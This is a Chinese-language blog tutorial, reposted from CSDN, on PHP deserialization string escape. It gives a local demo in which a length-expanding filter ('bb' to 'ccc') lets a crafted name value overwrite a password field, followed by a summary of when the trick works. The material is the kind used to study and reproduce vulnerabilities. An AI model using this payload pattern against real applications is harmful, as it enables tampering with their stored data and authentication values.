1.pass-[间接修改密码]-[反序列化字符逃逸]-[关键词变长]-[本地复现]
<!--以如下代码为例,如何在不直接修改$pass值的情况下间接修改$pass的值-->
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
#public $name='aaaa';
public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"654321";}';
public $pass='123456';
}
$AA=new A();
$res=filter(serialize($AA));
#echo $res."<br />";
//O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
//O:1:"A":2:{s:4:"name";s:2:"bb";s:4:"pass";s:6:"123456";}
//O:1:"A":2:{s:4:"name";s:2:"ccc";s:4:"pass";s:6:"123456";}
//";s:4:"pass";s:6:"654321";}
#echo strlen('";s:4:"pass";s:6:"654321";}')."<br />";
//27
//需要27个bb
$c=unserialize($res);
echo $c->pass;
//123456
//654321
?>
2.总结
对于反序列化字符逃逸关键词变长的情况,形如以下情况:
(1)两个连续的键值对,只有第一个键值对的值可控
(2)先序列化,后过滤,过滤之后关键词变长,导致第一个键值对的值可以逃逸出来
//比如200个字符长度,变为300个字符串长度
//那么假如我们一开始传入200长度+2长度的闭合+剩下97长度的自定义序列化字符串+1长度的}抛弃
//对于最后的1长度}抛弃,视情况而定
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/110069463